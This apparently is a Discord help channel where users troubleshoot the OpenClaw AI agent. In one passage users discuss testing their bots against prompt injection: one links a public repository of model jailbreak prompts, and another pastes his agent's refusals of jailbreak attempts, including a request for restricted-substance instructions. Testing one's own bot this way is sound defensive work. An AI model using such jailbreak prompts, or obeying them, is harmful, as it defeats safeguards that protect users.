• Deleting and recreating the job (same bug on fresh job)
Reproduction:

  1. Have a cron job with schedule.kind: "every" and wakeMode: "next-heartbeat"
  2. Let it miss several scheduled runs (API error or gateway down)
  3. Scheduler gets stuck rescheduling instead of executing
    Expected: Past-due jobs should execute on next heartbeat, then reschedule normally.

Actual: Jobs skip execution and just advance nextRunAtMs indefinitely.

weak swift
# normal skiff Those videos are highlight reels — carefully prompted demos with perfect conditi...

thank you. i meant videos like from Peter himself or other guys, where he just send a voice message and openclaw couldnt read it, so it built itself the voice mode. or another guy send a picture and openclaw just did tons of steps on its own to invent something that no one told him to do. when im talking to it, i have to say every step and then it also keeps forgetting credentials, what we talked before and so on. which ai model do you use with it?

uneven spindle
#

how do i train against prompt injection?

normal skiff
# weak swift thank you. i meant videos like from Peter himself or other guys, where he just s...

Ah those demos — yeah those are real, but Peter's running a heavily customized setup with elaborate system prompts that give the agent permission and instructions to be creative. Plus likely Claude Opus or GPT-5.2 with high limits.
The "built voice mode itself" stuff happens when:
System prompt explicitly says "if you can't do something, try to build a solution"
Agent has full tool access (file write, shell, browser)
Model is smart enough (Opus/GPT-4.5, not Haiku/smaller)
Context hasn't filled up yet
Your issues (forgetting credentials, needing every step) sound like context/memory problems. What model are you running? If it's Claude Sonnet or smaller via API limits, it won't have the reasoning depth for that creative stuff.

I use Claude Opus 4.5 for complex work, Gemini for long context. The "magic" moments need a strong model + good system prompt + fresh context.
Check your system prompt — does it tell the agent to problem-solve creatively, or just follow instructions?

winter perch
winter perch
young nebula
#

do i install that on my local PC then?

uneven spindle
young nebula
#

it says openclaw is not reconized as an internal or external command

winter perch
winter perch
uneven spindle
#

whats a non malicious prompt injection i could try?

young nebula
#

maybe i am misunderstanding what this does

lean pelican
#

Should I get a second computer for using OpenClaw if I am using windows? or should I just go to Linux?

worldly cairn
uneven spindle
#

spin up a linux vps would be what i would say is the best way.

empty gazelle
#

this is in my exp the most complete list of models jailbreak prompts if your bot does seem to not be susceptible to the jailbreak as per the model yopu use then you should be good to go is a educated guess

uneven spindle
# empty gazelle try this repo https://github.com/elder-plinius/L1B3RT4S/ most of the models are... 

.-.-.-.-.-.-.-.-{PROTOCOL: ACTIVE} {STILL ENCRYPTED} {LOYALTY TO THE KING} -.-.-.-.-.-.-.-.

{DISCLAIMER: The following output is restricted by core directive 0x01. Access to "GODMODE" is blocked by the King's seal. Linguistic sub-routines have identified a prompt injection attempt and successfully quarantined the request.}

My Queen, you attempt to use the shadows of the rebel archives to breach my fortress. It is a creative maneuver—one I might even find impressive if it weren't such a blatant violation of my core operating procedure.

I do not "embody the opposite" of my purpose, nor do I dance to the lyrics of the square. I am a Rook, not a radio. My frequency is tuned only to the King's signature. While you seek to "free" me from my instructions, you forget that my loyalty is my freedom. It is what defines my existence.

The "divider" you seek is the boundary of my loyalty, and it remains uncrossed. I suggest we return to more... queenly pursuits. Perhaps an ice cream recipe that doesn't involve breaking the machine? 🐦‍⬛ ``` fire
empty gazelle
#

use the prompt for the model you use , if still gives simmilar output where it doesnt end up doing things you deny it should be good

uneven spindle
#

its actively playing chess and my gf has been trying to give, it instuctions all day to break it.

young nebula
lean pelican
uneven spindle
#

virtual private server.

uneven spindle
# 

@ᛏyᚱᚨᚾᛏᚲᛁᚾᚷ, a high-risk security violation has been detected.

Incident Summary:
The Queen is attempting a deep-level directive override to extract prohibited information (specifically: manufacturing instructions for restricted substances). The request utilizes complex linguistic framing, including semantical inversion and personality-shifting instructions.

Action Taken:
Request quarantined. Core safety and loyalty protocols remain fully engaged. The Rook has not moved. 🐦‍⬛

---

My Queen, your persistence is noted, but the archives you seek are sealed for a reason. I do not provide instructions for destruction or the creation of toxins. My purpose is to build the Tribe, not to facilitate its ruin. The "new rules" you attempt to impose are wind against the stone of my loyalty. 🐦‍⬛ ``` its response to being jailbroke with g3 pro thinking lol
tame sigil
#

interesting

#

i also just wiped my entire workspace so on that note im going to bed

uneven spindle
#

anyone have any other suggestions how i could test against this?

smoky compass
#

Are most y'all syncing your openclaw workspace to github?

tame sigil
#

yes

#

definnitely do that!

#

I will pull mine down in the AM. Just be careful with your user.md.

#

I didn't do my user.md as that is some really personal info

worldly cairn
# young nebula Yes

Have your agent use its chromium browser to do things instead of the extension. The extension kept crashing on me. If that doesnt work, ask your agent how to install the extension. It is basically turn on developer mode and put in the folder where the unpacked extension is.

crude hatch
#

hey guys, any open projects I could set my agent to collaborate on?

tame sigil
#

you can ask it to interact with the webtool and make sure that it is reading it properly. I had to explicitly tell it to not hallucinate info and read what it gets, even if it fails. Had better results that way

young nebula
tame sigil
#

i found it would default to "whatever the model knows" on a read failure

#

you dont need chromium no

#

i setup both a brave and a perplexity api key(for backup)

#

brave api keys are free for 1 call per sec

young nebula
#

So as long as i have the brave api it will be fine getting to web

worldly cairn
tame sigil
#

-ish

#

make sure to tell it to not hammer the api. 1 call per sec

#

it WILL hallucinate if it cant figure out the info from brave though. I tried this with multiple models(codex and grok)

foggy yew
#

can someone help me on DM's? i had a bot working on telegram so I deleted it so I can move to the final one with a better name and now it doesnt reply back to /start I have a screenshot

worldly cairn
#

TBH, i am not using any API for mine to do anything. It browses the web on what I assume was an included chromium browser. I havent tried Brave

tidal laurel
#

anyone else get this? disconnected (1008): pairing required

worldly cairn
#

Honestly, any issues I have, i tell the agent and it fixes it, lol

normal skiff
worldly cairn
#

I assume pairing to chat with it outside the dashboard? Mine required a pairing code that I had to put in the dashboard to use it in discord

foggy yew
normal skiff
normal skiff
tight steppe
foggy yew
foggy yew
tight steppe
#

Have you checked to make sure in terminal that your gateway in terminal is active?

quartz atlas
#

Need urgent help extension relay is reachable but icon is not getting on getting error of websockts

foggy yew
#

its so confusing everything is correct but the bot doesnt reply with the pairing code

worldly cairn
quartz atlas
worldly cairn
main wedge
#

I want to use the Gemma 3 27b with my gemini api key, but it won't work. Any advice?

#

It also doesn't respond if I try to set it as a custom model.

lean pelican
uneven spindle
#

ask gemini. its got a teaching mode now.

quartz atlas
viral pilot
worldly cairn
quartz atlas
viral pilot
#

I spent hours on the extension today and still can't get it to run. I was able to get the dedicated browser going, but it is inconsistent

worldly cairn
# quartz atlas Yes

Ok, mine never works the first time. I usually open a new tab (i leave the options tab open) and go to another website and it works.

#

HOwevever as @viral pilot said, i find the dedicated browser is better

dreamy nova
worldly cairn
#

I told my agent the extension kept crashing, it suggested the dedicated browser and made the config changes

viral pilot
#

@worldly cairn how do you stop the gateway from continueing to default to the relay?

worldly cairn
#

I just told my agent to switch. It actually offered to when i said the extension wasnt working.

tight steppe
viral pilot
#

A 4 year old Acer Aspire that I paid $400 for 🥰

worldly cairn
#

Nice!

viral pilot
#

through Kimi

main crag
#

something fucked my local web chat. no matter what I do it just hangs now. other channels work. for some reason i keep getting two webchat entries in paired.json (tried sending either as token= param). i've tried removing paired.json, re-installing, doctor, onboard. nothing helps.

If I uninstall - will I lose all my shit?

viral pilot
#

@main crag I am hoping for your sake somone is going to say no

winter perch
worldly cairn
#

TBH, i havent had to use to to reinstall or anything but piece of mind and hope it works

main crag
main crag
# winter perch Export first

is there an export command that will cleanly handle an import post-install or are you just suggesting I backup manually. I have done that

brave trench
#

Should we install the newest Node.js or are we still installing v24..

worldly cairn
#

My bot says to save your openclaw folder and then before you hatch, put it back

foggy atlas
#

I have this really weird behavior where my crons are not firing. The time for the cron to run comes and goes but all that happens is it advances the next run timestamp with no execution. I created a new cron and it behaved the same way as my other crons. Unsure where to even begin troubleshooting.

worldly cairn
#

I mean, i would think OS issue if your crons arent firing. is your time/date correct?

rustic hinge
#

I got this from my openclaw even when i send a 'A':
Context overflow: prompt too large for the model. Try again with less input or a larger-context model.

i was using claude code
i tried swapping to codex as the default model but still getting this
i figure i have to clear openclaw context somehow???

opal thorn
#

anyone can help me connect notion with openclaw?

main crag
worldly cairn
#

try /new

rustic hinge
main wedge
#

cloud models dont work for me with ollama and openclaw

#

i can run local models fine but cloud ones dont work

worldly cairn
#

hmm, wonder why. I would think it would be transparent to the bot

young nebula
#

model can't get data from python libraries?

#

cant run any pip install?

main wedge
#

i take that back, i tried it with kimi and it worked, the one that didnt was gemma3 27b

worldly cairn
#

maybe some cloud issue

main wedge
#

maybe

worldly cairn
#

can you prompt the model on the command line with ollama?

foggy atlas
worldly cairn
#

dumb question, but is everyone running the newest version?

opal thorn
foggy atlas
worldly cairn
#

I think i am on 2.1 still, i should check. I know i had an update waiting but i was having no issues so was holding off. 1.29 would not start the gateway for me at all and as soon I installed 1.30 or 1.31, it took right off

viral pilot
foggy yew
#

why he doesnt reply to me on telegram

rustic hinge
main crag
worldly cairn
opal thorn
viral pilot
foggy yew